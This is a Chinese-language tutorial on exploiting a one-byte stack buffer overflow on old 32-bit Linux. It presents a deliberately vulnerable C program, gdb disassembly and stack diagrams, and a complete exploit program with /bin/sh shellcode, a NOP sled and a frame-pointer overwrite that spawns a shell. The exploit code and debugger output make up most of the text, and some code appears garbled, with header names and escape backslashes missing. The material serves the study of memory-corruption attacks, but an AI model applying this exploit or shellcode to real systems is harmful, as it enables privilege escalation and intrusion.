溢出专题（一） 单字节缓冲区溢出
http://tech.ccidnet.com/art/1101/20050407/626435_1.html
通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容，来使程序跳转到我们的shellcode
处去执行。其实，即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议，其实还是很有可能的，下面我们就来看看这是如何实现的。
我们先写一个有弱点的程序，它只能被溢出一个字节。
ipdev:~/tests$ cat > suid.c
#include
func(char *sm)
{
char buffer[256];
int i;
for(i=0;i<=256;i++) //最多可以拷贝257个字节到一个256字节的缓冲区中
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args
");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
我们可以看到，我们只能拷贝257个字节到一个256字节的缓冲区中，也就是说，我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢？还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:
ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb)
当call指令被调用时，进程会首先将%eip（下一条要执行的指令的地址）压入堆栈。
然后将%ebp的内容压入堆栈，就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中，接着为局部变量分配空间：%esp减小0x104字节（256+4）。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前，我们的
堆栈中的情况如下：
栈顶（低地址）
|---------|
| i | 4字节
|---------|
| buff[0] |
|---------| |
| buff[1] | |
|---------| |--> 256字节
| ....... | |
|---------| |
|buff[255]| /
|---------|/
|保存的ebp| 4字节
|---------|
|保存的eip| 4字节
|---------|
栈底（高地址）
这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针（func()开始执行前被压入堆栈），
如何利用这个字节来改变程序的执行呢？我们先来看看%ebp中内容的变化情况。当func()
将要结束时，%ebp被从堆栈中恢复。（见）让我们再看看接下来发生了什么：
（还是利用gdb来反汇编main())
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb)
当func()调用结束后，%ebp将会被拷贝到%esp中（见),这意味着我们可以
改变%esp到其他的值，但并不是任意的，因为我们只能修改%ebp的最后一个字节。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `perl -e 'print "A"x257'`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
在溢出发生后，%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中，这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节）。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41
很明显，我们不能在func()中直接改变原来被保存的%eip的值，但可以修改main()中的
%esp的值.当进程从一个过程返回的时候，只是弹出堆栈栈顶的第一个字（4字节），将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值，然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作：
[nops][shellcode][&shellcode][改变%ebp的字节]
这样当溢出发生时堆栈中的情况就是这样的：
栈顶（低地址）
|---------|
| i | 4字节
|---------|
| 0x90 |
|---------| |
| 0x90 | |
|---------| |--> 256字节
| ....... | |
|---------| |
|shellcode| |
| ....... | |
|---------| |
|跳转地址 | /
|---------|/
|保存的ebp| 4字节(最低的一个字节被覆盖）
|---------|
|保存的eip| 4字节
|---------|
栈底（高地址）
我们想让%esp指向跳转地址，以便当从main()中返回时这个跳转地址会被弹入到%eip
中，从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。
ipdev:~/tests$ cat > fake_exp.c
#include
#include
main()
{
int i;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
从上面的分析，我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的，指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100（buffer大
小)-0x04(跳转地址大小）=0xbffffd60处。
有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时，%esp会增加4个字节（
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址，只要是NOP指令之间的某个地址即可。
（就象通常的溢出程序一样）即：0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
"x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
"x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
"xd7xffxffxff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; //
buffer[i++] = 0xfc; // 跳转地址
buffer[i++] = 0xff; //
buffer[i++] = 0xbf; //
buffer[i++] = 0x5c; // 用来覆盖%ebp的字节
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
成功了！现在让我们仔细的看一下到底发生了些什么。
ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
我们先来设置几个断点来观察被覆盖的栈帧指针的值。
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8 <_IO_printf>
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序：
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
这是%ebp的原来的内容
(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
溢出后，我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
此时%esp指向0xbffffd5c
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
弹出保存的%ebp后，%esp增加了4个字节，指向我们存放跳转地址的位置
(gdb)
看一下此时堆栈中的情况：
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74
这里确实存放着我们的跳转地址
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。
(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$
下面的简图大致描述了%ebp与%esp的变化。
func()中，返回前 main()中 main()中 main()中
栈顶（低地址） addl $0x4,%esp movl %ebp,%esp popl %ebp
0xbffffc60|----------| |----------| |----------| |----------|
| i | | i | | i | | i |
0xbffffc64|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
-----> | ....... | | ....... | | ....... | | ....... |
| |----------| |----------| |----------| |----------|
| |shellcode | |shellcode | |shellcode | |shellcode |
| | ....... | | ....... | %esp--->| ....... |0xbffffd5c|......... |
0xbffffd60|----------| |----------| |----------| %esp-->|----------|
|----- |0xbffffc74| |0xbffffc74| |0xbffffc74| |0xbffffc74| -->%eip
0xbffffd64|----------| |----------| |----------| |----------|
保存的ebp |0xbffffd5c| |0xbffffd5c| |0xbffffd5c| |0xbffffd5c|
%esp--->|----------| |----------| |----------| |----------|
|保存的eip | |保存的eip | |保存的eip | |保存的eip |
|----------| %esp-->|----------| |----------| |----------|
%esp=0xbffffd68 %esp=0xbffffd6c %esp=0xbffffd5c %esp=0xbffffd60
%ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xxxxxxxxx
结束语:
这种方法看起来很不错，它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的，但也需要一些条件。首先，它需要知道buffer的地址，这要求我们要能构
造相同的攻击环境以便得到这些值，这通常是比较困难的，特别是在远程机器上。由
于只能溢出一个字节，我们的buffer必须紧挨着栈帧指针，也就是说，要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统，%ebp在内存中的顺序是
高字节在前低字节在后，所以将会覆盖掉ebp的高字节，我们不得不保证我们的程序可以
跳到那个地址去执行...
尽管如此，这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)